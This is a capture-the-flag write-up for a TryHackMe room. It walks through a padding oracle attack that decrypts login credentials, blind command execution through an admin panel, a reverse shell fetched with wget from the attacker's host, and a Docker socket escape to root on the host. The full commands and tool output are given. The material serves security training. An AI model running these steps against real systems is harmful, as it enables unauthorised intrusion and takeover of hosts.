Information
Room
Name: New York Flankees
Profile: tryhackme.com
Difficulty: Medium
Description : Can you, the rogue adventurer, break through Stefan's defences to take control of his blog!
Write-up
Overview
Install tools used in this WU on BlackArch Linux:
sudo pacman -S nmap curl rustpad gtfoblookup
Obectives
Flag 1 What is the cleartext value of the decrypted blob (the format is element1:element2)?
Flag 2 What is the flag in the admin panel?
Flag 3 Dig around in the container. What is the second flag?
Flag 4 What is the final flag?
Network enumeration
Port and service enumeration with nmap.
sudo nmap -sSVC -p- -T4 10.10 .171.186 -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 30:2f:78:a5:dc:68:17:da:39:23:54:c3:3b:e1:9d:c4 (RSA)
| 256 d0:4c:86:54:a5:22:46:d1:8d:3d:a5:f3:72:46:16:69 (ECDSA)
|_ 256 da:d0:ef:73:60:b7:16:c3:23:db:d1:22:09:f7:5b:eb (ED25519)
8080/tcp open http Octoshape P2P streaming web service
| http-methods:
|_ Supported Methods: GET
|_http-title: Hello world!
|_http-favicon: Unknown favicon MD5: 6FD74A43E6C5F7502642326FAB0B3E69
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
I gave an arbitrary name to the machine to access it more easily than with the IP address.
β grep stefan /etc/hosts
10.10.171.186 stefan.thm
Web enumeration
Let's start with the web server on port 8080 : http://stefan.thm:8080/ .
There are some pages linked in the HTML or in JS:
/debug.html
/login.html
/exec.html
This script is included:
document . addEventListener ( 'DOMContentLoaded' , function () {
// Check if the "isLoggedIn" cookie exists
const isLoggedIn = document . cookie . includes ( 'loggedin' );
// Get the admin login button element
const adminLoginBtn = document . querySelector ( '.admin-login-btn' );
// If the "isLoggedIn" cookie exists, change the button text to "FINDME"
if ( isLoggedIn ) {
adminLoginBtn . textContent = 'DEBUG' ;
}
// Add event listener to the admin login button
adminLoginBtn . addEventListener ( 'click' , function () {
// If the user is not logged in, redirect to login.html
if ( ! isLoggedIn ) {
window . location . href = 'login.html' ;
} else {
window . location . href = 'exec.html'
}
});
});
There is a description talking about authentication and oracle .
On the debug page we can read:
TODO: Implement custom authentication
Your custom authentication implementation goes here.
TODO: Fix verbose error (padding)
Fix the verbose error related to padding.
And the following script is included on the page:
function stefanTest1002 () {
var xhr = new XMLHttpRequest ();
var url = "http://localhost/api/debug" ;
// Submit the AES/CBC/PKCS payload to get an auth token
// TODO: Finish logic to return token
xhr . open ( "GET" , url + "/39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4" , true );
xhr . onreadystatechange = function () {
if ( xhr . readyState === 4 && xhr . status === 200 ) {
console . log ( "Response: " , xhr . responseText );
} else {
console . error ( "Failed to send request." );
}
};
xhr . send ();
}
So it seems the first step will be about cryptography and related to AES/CBC/PKCS, padding and an oracle to break the authentication.
The authentication API endpoint is: http://stefan.thm:8080/api/login?username=noraj&password=azerty .
Cryptography
The example payload result in authentication success, while modifying it results in a description error.
β curl http://stefan.thm:8080/api/debug/39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4
Custom authentication success
β curl http://stefan.thm:8080/api/debug/39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF5
Decryption error
BlackArch offers a large choice of padding oracle attack tools:
β sudo pacman -Ss padding
β¦
blackarch/padbuster 11.50e4a3e-3 (blackarch blackarch-exploitation)
Automated script for performing Padding Oracle attacks.
blackarch/padoracle v0.1.1.r25.gfbf4883-1 (blackarch blackarch-crypto)
Padding Oracle Attack with Node.js.
blackarch/padre v2.2.0.r10.g18618f5-1 (blackarch blackarch-crypto)
Padding Oracle attack tool.
blackarch/pax-oracle v0.2.2.r1.g38ac0d8-1 (blackarch blackarch-crypto)
CLI tool for PKCS7 padding oracle attacks.
blackarch/poracle 68.dcc00b0-6 (blackarch blackarch-crypto blackarch-webapp)
A tool for demonstrating padding oracle attacks.
blackarch/rustpad v1.8.1.r1.g11ce343-1 (blackarch blackarch-crypto blackarch-cracker)
Multi-threaded Padding Oracle attacks against any service.
Padding Oracle Attack
With padbuster
β padbuster http://stefan.thm:8080/api/debug/39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4 39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4 16 -encoding 2
+-------------------------------------------+
| PadBuster - v0.3.3 |
| Brian Holyfield - Gotham Digital Science |
| labs@gdssecurity.com |
+-------------------------------------------+
INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 29
INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 4 ***
INFO: No error string was provided...starting response analysis
*** Response Analysis Complete ***
The following response signatures were returned:
-------------------------------------------------------
ID# Freq Status Length Location
-------------------------------------------------------
1 1 200 29 N/A
2 ** 255 500 16 N/A
-------------------------------------------------------
Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2
Continuing test with selection 2
[+] Success: (133/256) [Byte 16]
[+] Success: (250/256) [Byte 15]
[+] Success: (254/256) [Byte 14]
[+] Success: (174/256) [Byte 13]
[+] Success: (173/256) [Byte 12]
[+] Success: (245/256) [Byte 11]
[+] Success: (254/256) [Byte 10]
[+] Success: (248/256) [Byte 9]
[+] Success: (255/256) [Byte 8]
[+] Success: (246/256) [Byte 7]
[+] Success: (164/256) [Byte 6]
[+] Success: (168/256) [Byte 5]
[+] Success: (246/256) [Byte 4]
[+] Success: (163/256) [Byte 3]
[+] Success: (178/256) [Byte 2]
[+] Success: (166/256) [Byte 1]
Block 1 Results:
[+] Cipher Text (HEX): ea0dcc6e567f96414433ddf5dc29cdd5
[+] Intermediate Bytes (HEX): 4a4153075457000800050d565601047a
[+] Plain Text: stefan1197:ebb2B
Use of uninitialized value $plainTextBytes in concatenation (.) or string at /usr/bin/padbuster line 361, <STDIN> line 1.
*** Starting Block 2 of 4 ***
[+] Success: (30/256) [Byte 16]
[+] Success: (8/256) [Byte 15]
[+] Success: (152/256) [Byte 14]
[+] Success: (18/256) [Byte 13]
β¦
With padoracle
padoracle requires writing a script, it doesn't iinteract with the web server directly.
With pax-oracle
Doesn't support hex encoding.
With poracle
poracle is more a library than a CLI tool.
With rustpad
As it's correctly multithreaded it's way faster than padbuster.
rustpad web --oracle http://stefan.thm:8080/api/debug/NORAJ --block_size 16 --decrypt 39353661353931393932373334633638 EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4 --keyword NORAJ -v -e HEX
rustpad [0/6]
βCypher text [π /π ]ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β39353661353931393932373334633638 β
βea0dcc6e567f96414433ddf5dc29cdd5 β
βe418961c0504891f0ded96ba57be8fcf β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βForged blockβββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β5a4e5d0a585c0a0108020b535202067b β
βcd3482556857fa777303b8b1ee68f8e2 β
βb421b9513f3da070338ef1dc378fb8f7 β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βIntermediate blockβββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β00000000000000000000000000000000 β
β4a4153075457000800050d565601047a β
βdd3b8c58645cf07e7b04beb4ea6bfae3 β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βPlain textβββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β00000000000000000000000000000000 ................ β
β73746566616e313139373a6562623242 stefan1197:ebb2B β
β373640363223663f3f37634136423736 76@62#f??7cA6B76 β
β40362140363223663664616364323539 @6!@62#f6dacd259 β
β390f0f0f0f0f0f0f0f0f0f0f0f0f0f0f 9............... β
β β
β β
β β
β β
β β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βStatusβββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β β
β 100% β
β β
βLog [PgUp/PgDwn] β
β 0.200.234:8080/api/debug/765143174447101810151d464611146aea0dcc6e567f96414433ddf5dc29cdd5 β
β10:39:00:DEBUG:reqwest::async_impl::client:/build/.cargo/registry/src/github.com-1ecc6299db9ec823/reqwβ
β est-0.11.9/src/async_impl/client.rs:1898:response '500 Internal Server Error' for http://10.1β
β 0.200.234:8080/api/debug/745143174447101810151d464611146aea0dcc6e567f96414433ddf5dc29cdd5 β
β10:39:00:DEBUG:reqwest::async_impl::client:/build/.cargo/registry/src/github.com-1ecc6299db9ec823/reqwβ
β est-0.11.9/src/async_impl/client.rs:1898:response '500 Internal Server Error' for http://10.1β
β 0.200.234:8080/api/debug/625143174447101810151d464611146aea0dcc6e567f96414433ddf5dc29cdd5 β
β10:39:00:DEBUG:reqwest::async_impl::client:/build/.cargo/registry/src/github.com-1ecc6299db9ec823/reqwβ
β est-0.11.9/src/async_impl/client.rs:1898:response '500 Internal Server Error' for http://10.1β
β 0.200.234:8080/api/debug/d85143174447101810151d464611146aea0dcc6e567f96414433ddf5dc29cdd5 β
β10:39:00:INFO :rustpad:Block 1/4: decrypted! β
β10:39:00:INFO :rustpad:The oracle talked some gibberish. It took 18s β
β10:39:00:INFO :rustpad:Their divination is: stefβ¦ :edited β
β β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
This gives Flag 1 .
With padre
This one is was yet in BA at the time of doing this challenge, but I'm added it (PR #4176 ) afterwards.
padre -u 'http://stefan.thm:8080/api/debug/$' -e lhex -b 16 39353661353931393932373334633638 EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4
[i] padre is on duty
[i] using concurrency (http connections): 30
[+] successfully detected padding oracle
[!] mode: decrypt
[1/1] stefanβ¦:edited... [64/64] | reqs: 7508 (268/sec)
It's as fast as rustpad
but has fewer options and not the possibility to work with script as well (only web apps).
Blind RCE
Now we can authenticate with Stefan's account on http://stefan.thm:8080/login.html and use the admin panel page http://stefan.thm:8080/exec.html that allows command execution.
On this page is displayed Flag 2 .
However, we don't have any output of the command, and it seems to be executed asynchronously.
So we have a blind remote command execution.
We can use the convenient https://www.revshells.com/ to generate reverse shells.
Asking for a bash reverse shell directly like /bin/bash -i >& /dev/tcp/10.18.17.12/9999 0>&1
won't work, probably because of how the app handle input/output. Nothing with >
or |
works.
But wget
a script containing exactly the same command and execute it will work.
Also, bash
seems not source, we should use /bin/bash
.
noraj.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.18.17.12/9999 0>&1
Start a web server on 0.0.0.0:8080
: ruby -run -e httpd . -p 8080
.
Then download the script and execute it.
wget http://10.18.17.12:8080/noraj.sh -O /tmp/noraj.sh
/bin/bash /tmp/noraj.sh
We receive the connection:
β ncat -lvnp 9999
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9999
Ncat: Listening on 0.0.0.0:9999
id
Ncat: Connection from 10.10.171.186:35418.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@02e849f307cc:/# id
uid=0(root) gid=0(root) groups=0(root)
System enumeration
We are root but as you can imagine, that's not the end. In fact the existence of /.dockerenv
proves we are in a docker container.
root@02e849f307cc:/# ls -lhA /
total 72K
-rwxr-xr-x 1 root root 0 May 8 12:25 .dockerenv
drwxr-xr-x 1 root root 4.0K May 8 12:25 app
drwxr-xr-x 1 root root 4.0K May 8 12:25 bin
drwxr-xr-x 2 root root 4.0K Jun 30 2022 boot
The application must be deployed in /app
.
root@02e849f307cc:/# ls -lhA /app
total 15M
drwxr-xr-x 8 root root 4.0K May 8 12:20 .git
-rw-r--r-- 1 root root 435 May 8 12:20 .gitignore
-rw-r--r-- 1 root root 381 May 8 12:20 Dockerfile
-rw-r--r-- 1 root root 58 May 8 12:20 README.md
-rw-r--r-- 1 root root 809 May 8 12:20 build.gradle.kts
-rw-r--r-- 1 root root 602 May 8 12:20 docker-compose.yml
drwxr-xr-x 3 root root 4.0K May 8 12:20 gradle
-rw-r--r-- 1 root root 92 May 8 12:20 gradle.properties
-rwxr-xr-x 1 root root 7.9K May 8 12:20 gradlew
-rw-r--r-- 1 root root 2.7K May 8 12:20 gradlew.bat
-rw-r--r-- 1 root root 15M May 8 12:24 ktor-docker-sample.jar
-rw-r--r-- 1 root root 30 May 8 12:20 settings.gradle.kts
drwxr-xr-x 4 root root 4.0K May 8 12:20 src
We could directly look for flags as we know the format:
root@02e849f307cc:/app# grep -r 'THM{' .
./docker-compose.yml: - CTF_DOCKER_FLAG=THM{β¦}
./docker-compose.yml: - CTF_ADMIN_PANEL_FLAG=THM{β¦}
We could also have found it via environment variables:
root@02e849f307cc:/app# env
HOSTNAME=02e849f307cc
JAVA_HOME=/usr/local/openjdk-11
PWD=/app
CTF_USERNAME=stefanβ¦
HOME=/root
LANG=C.UTF-8
CTF_DOCKER_FLAG=THM{β¦}
CTF_RESOURCES=/app/src/resources
CTF_ENCRYPTION_IV=β¦
SHLVL=2
CTF_ENCRYPTION_KEY=β¦
PATH=/usr/local/openjdk-11/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
CTF_ADMIN_PANEL_FLAG=THM{β¦}
CTF_PASSWORD=β¦
JAVA_VERSION=11.0.16
_=/usr/bin/env
OLDPWD=/
We have Flag 3 .
Docker escape
In docker-compose.yml
, we can see the docker host daemon socket is mounted into the container. That's an elevation of privilege vector.
root@02e849f307cc:/app# cat docker-compose.yml
version: "3"
services:
web:
build: .
ports:
- "8080:8080"
volumes:
- /var/run/docker.sock:/var/run/docker.sock
restart: always
environment:
- CTF_USERNAME=β¦
- CTF_PASSWORD=β¦
- CTF_ENCRYPTION_KEY=β¦
- CTF_ENCRYPTION_IV=β¦
- CTF_RESOURCES=/app/src/resources
- CTF_DOCKER_FLAG=THM{β¦}
- CTF_ADMIN_PANEL_FLAG=THM{β¦}
Let's see the images availables:
849f307cc:/app# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
padding-oracle-app_web latest cd6261dd9dda 2 months ago 1.01GB
<none> <none> 4187efabd0a5 2 months ago 704MB
gradle 7-jdk11 d5954e1d9fa4 2 months ago 687MB
openjdk 11 47a932d998b7 23 months ago 654MB
But if we try to execute something, we'll get an error as we don't have a TTY.
root@02e849f307cc:/app# docker run -v /:/mnt --rm -it openjdk:11 chroot /mnt bash
the input device is not a TTY
So first, we need to spawn one:
root@02e849f307cc:/app# python3 -c "import pty; pty.spawn('/bin/bash')"
Then we can re run the escape method:
root@02e849f307cc:/app# docker run -v /:/mnt --rm -it openjdk:11 chroot /mnt bash
This time we are root on the host:
root@567fe47abc33:/#ls -lhA /
total 68K
lrwxrwxrwx 1 root root 7 Oct 26 2020 bin -> usr/bin
drwxr-xr-x 3 root root 4.0K May 8 06:53 boot
drwxr-xr-x 15 root root 3.2K Jul 19 08:13 dev
drwxr-xr-x 97 root root 4.0K Jul 19 08:13 etc
-rw-r--r-- 1 root root 70 May 8 12:22 flag.txt
drwxr-xr-x 3 root root 4.0K May 7 19:33 home
lrwxrwxrwx 1 root root 7 Oct 26 2020 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Oct 26 2020 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Oct 26 2020 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Oct 26 2020 libx32 -> usr/libx32
drwx------ 2 root root 16K Oct 26 2020 lost+found
drwxr-xr-x 2 root root 4.0K Oct 26 2020 media
drwxr-xr-x 2 root root 4.0K Oct 26 2020 mnt
drwxr-xr-x 3 root root 4.0K May 7 20:08 opt
dr-xr-xr-x 122 root root 0 Jul 19 08:13 proc
drwx------ 4 root root 4.0K May 8 12:22 root
drwxr-xr-x 28 root root 980 Jul 19 09:41 run
lrwxrwxrwx 1 root root 8 Oct 26 2020 sbin -> usr/sbin
drwxr-xr-x 8 root root 4.0K May 8 05:53 snap
drwxr-xr-x 2 root root 4.0K Oct 26 2020 srv
dr-xr-xr-x 13 root root 0 Jul 19 08:13 sys
drwxrwxrwt 11 root root 4.0K Jul 19 10:22 tmp
drwxr-xr-x 14 root root 4.0K Oct 26 2020 usr
drwxr-xr-x 13 root root 4.0K Oct 26 2020 var
We can grab Flag 4 :
root@567fe47abc33:/# cat /flag.txt
THM{β¦}